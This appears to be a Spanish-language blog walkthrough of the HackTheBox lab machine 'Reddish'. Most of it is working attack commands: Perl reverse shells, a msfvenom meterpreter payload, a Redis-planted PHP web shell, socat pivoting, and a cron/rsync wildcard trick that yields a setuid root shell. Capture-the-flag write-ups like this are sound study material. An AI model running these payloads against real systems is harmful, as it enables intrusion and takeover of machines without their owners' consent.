Advertisement

header ads

Reddish - HACKTHEBOX MACHINE


Hace un par de días estuve sufriendo con el peor servidor, osea fue demasiado difícil para mi, pero logre hacerlo... Primero vamos a hacer un escaneo de puertos.
nmap -sV -sC -p- 10.10.10.94
Solo tenemos el puerto 1880 y nos encontramos con un node.js

Pero no tenemos lectura y nos muestra "Cannot GET /" entonces he usado burpsuite para pasarlo de GET a POST o tambien podes usar el siguiente comando
curl -X POST http://10.10.10.94:1880/
Ahora obtenmos la siguiente respuesta:
{"id":"858f5384455fe3aac7e236f16005c8ec","ip":"::ffff:10.10.14.76","path":"/red/{id}"}
Los que nos dice que en el directorio /red/ mas la ID existe algo cool, y encontramos un node.js como resultado:
http://10.10.10.94:1880/red/858f5384455fe3aac7e236f16005c8ec
Me encontré varios tutoriales sobre node RED HERE and HERE Entonces me un diagrama para que se conectará al nc con el puerto 6969.
Resultado final:
tcp-in  ip:port escuchar en 6969
exec por default
tcp-out con respuesta a tcp(encode 64)
Ahora que tenemos conexion vamos a usar perl pero para conectarnos al servidor usando exclusivamente perl.
perl -e 'use Socket;$i="10.10.14.56";$p=2000;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
Recuerda que "10.10.14.56" es mi IP y el puerto 2000 es el puerto que nos vamos a conectar y por otro lado usaremos
nc -lvp 2000
Ahora usaremos metasploit para subir lo que neceistamos porque recuerda la maquina no tiene nc, ni muchas herramientas de auditorias de redes. Creamos el exploit en elf.
 msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.10.14.56 LPORT=5959-f elf -o creadpag.elf
Pero recuerda que no podemos usar ni wget ni nc para transferir archivos y como pasamos nuestro exploit? Bueno aprendí a pasarlo en Base64 Lo pasamos en base64 para pasarlo en texto.
base64 -w 0 creadpag.elf
En el server de tu victima
echo "code base64" > creadpag.elf
Y para que corra vamos a decodificarlo
base64 --decode cread.elf > freddy.elf
Darle permiso para poder ejecutarlo
chmod +x freddy.elf
Y en otra consola vamos abrir nuestro metasploit en el cual vamos a usar los siguientes comandos:
msfconsole -q
use exploit/multi/handler
set PAYLOAD linux/x64/meterpreter/reverse_tcp
set LHOST 10.10.14.56
set LPORT 5959
exploit
Al terminar podemos ejecutar nuestro exploit
Ahora vamos a pedir que nos conectemos a un localhost pero antes de hacerlo hagamos una shell y vamos a verificar nuestro puertos o tambien podes descargar y usar nmap como por ejemplo: HERE en mi caso decidí la opción de sufrir y usar for.
for p in {1..65535}; do echo hi > /dev/tcp/172.19.0.2/$p && echo port $p is open > scan2 2>/dev/null; done
for p in {1..65535}; do echo hi > /dev/tcp/172.19.0.4/$p && echo port $p is open > scan4 2>/dev/null; done
for p in {1..65535}; do echo hi > /dev/tcp/172.19.0.3/$p && echo port $p is open > scan3 2>/dev/null; done
De seguro me estarás preguntando de donde saque esas ip? Al usar "ip r" nos muestra esas ip. Ahora lo que tuve muchos problemas es que los puertos cambian en diferentes IP por ejemplo el 3 pasaba al 80 y reiniciaba el server el puerto 80 pasaba en la 4. Entonces ahora vamos a escuchar esos puertos para obtener información con localhost usando portfwd.
portfwd add -l 80 -p 80 -r 172.19.0.3
portfwd add -l 6379 -p 6379 -r 172.19.0.2
Unos de los videos en español que le entendí fue este. HERE
Ahora al usar el navegador y colocar localhost nos muestra un sitio "X"
Luego al lee el código fuente existe un ajax.php que se conecta con Redis DB a través de un parámetro llamado prueba: /8904n0549008565c554f8108cn11fna4/ajax.php?test=get hits Me encontré un post que me valió madre mucho contenido pero me sirvió para armarme un script y ejecutarlo automáticamente. HERE CODE HERE
Ahora crea una shell.php que tiene un RCE como "php?cmd=id"
http://localhost/shell.php
Entonces podemos ver en /tmp una shell en shell.pl y lo vamos a modificar con la IP que vamos acceder "172.19.0.4" y todo encode en base64, quiero aclarar que usaremos perl como en el principio. here Obviamente como es un rce y es una shell.pl vamos a recordar el code.
use Socket;$i='172.19.0.4';$p=3000;socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp'));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,'>&S');open(STDOUT,'>&S');open(STDERR,'?&S');exec('/bin/sh -i');};
Ahora vamos editar una shell.pl desde la web
localhost/shell.php?cmd=echo dXNlIFNvY2tldDskaT0nMTcyLjE5LjAuNCc7JHA9MzAwMDtzb2NrZXQoUyxQRl9JTkVULFNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSk7aWYoY29ubmVjdChTLHNvY2thZGRyX2luKCRwLGluZXRfYXRvbigkaSkpKSl7b3BlbihTVERJTiwnPiZTJyk7b3BlbihTVERPVVQsJz4mUycpO29wZW4oU1RERVJSLCc/JlMnKTtleGVjKCcvYmluL3NoIC1pJyk7fTs= |base64 -d > /tmp/shell.pl
Y vamos a subir socat, download
cd /tmp
upload socat
shell
bash -i
chmod +x socat
Ahora vamos a ejecutar socat y podes leer el siguiente post
./socat tcp-listen:3000,reuseaddr,fork tcp:10.10.14.76:3003
Y en otra terminal vamos a eschar el puerto
nc -lvnp 3003
Ahora vamos a ejecutar el script, recuerda tenes 1min antes que el script se borre.
http://localhost/shell.php?cmd=perl%20/tmp/shell.pl
Luego tenemos acceso a otra shell y podemos ver que en /home/somaro/user.txt pero como tenemos www-data y no tenemos acceso root. Pero buscando encontré en crontab
ls /etc/cron.d
cat /etc/cron.d/backup
encontramos un backup que tiene un bash entones me puse a revisar el código y me encontré el siguiente post. Ese script nos cuenta que existe la siguiente carpte en el cual usaremos los siguientes comandos para leer con root.
cd /var/www/html/f187a0ec71ce99642e4f0afbd441a68b
rsync -a *.rdb rsync://backup:873/src/rdb/
cd / && rm -rf /var/www/html/*
rsync -a rsync://backup:873/src/backup/ /var/www/html/
chown www-data. /var/www/html/f187a0ec71ce99642e4f0afbd441a68b
Pero ese escript solo podemos leer y no editar... Pero recuerda que cada 3min se vuelve restaurar todo.
cd /var/www/html/f187a0ec71ce99642e4f0afbd441a68b
echo -n IyEvYmluL3NoCmNwIC9iaW4vc2ggL3RtcC9zaApjaG1vZCArcyAvdG1wL3No | base64 -d > root.rdb
chmod +x root.rdb
Para leerlo
cat root.rdb
touch -- "-e sh root.rdb"
La última línea engañará a la raíz para que ejecute root.rdb, que crea /tmp/sh cuando se ejecuta el cronjob. Ejecutando /tmp/sh da root
cd /tmp
./sh -i
cat /home/somaro/user.txt
Luego vamos a regresar a meterpreter y volvemos a usar socat para conectarnos a la siguiente IP para conseguir el root.txt
ls /etc/cron.d
cat /etc/cron.d/backup
ls test/etc/cron.d/
cat test/etc/cron.d/clean
nano MyCron
+ + + + + root perl -e 'use Socket;$i="172.20.0.2";$p=6000;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
bae64 -w 0 MyCron
cat /tmp/MyCron
rsync MyCron rsync://backup:873/src/etc/cron.d
./socat tcp-listen:6000,reuseaddr,fork tcp:172.19.0.4:6000 &
Luego buscamos root.txt
find / -name "root.txt"
pero no esta
cd /
cat docker-entrypoint.sh
mount /dev/sda1 /mnt
cd /tmp
cd root
cat root.txt

Post a Comment

0 Comments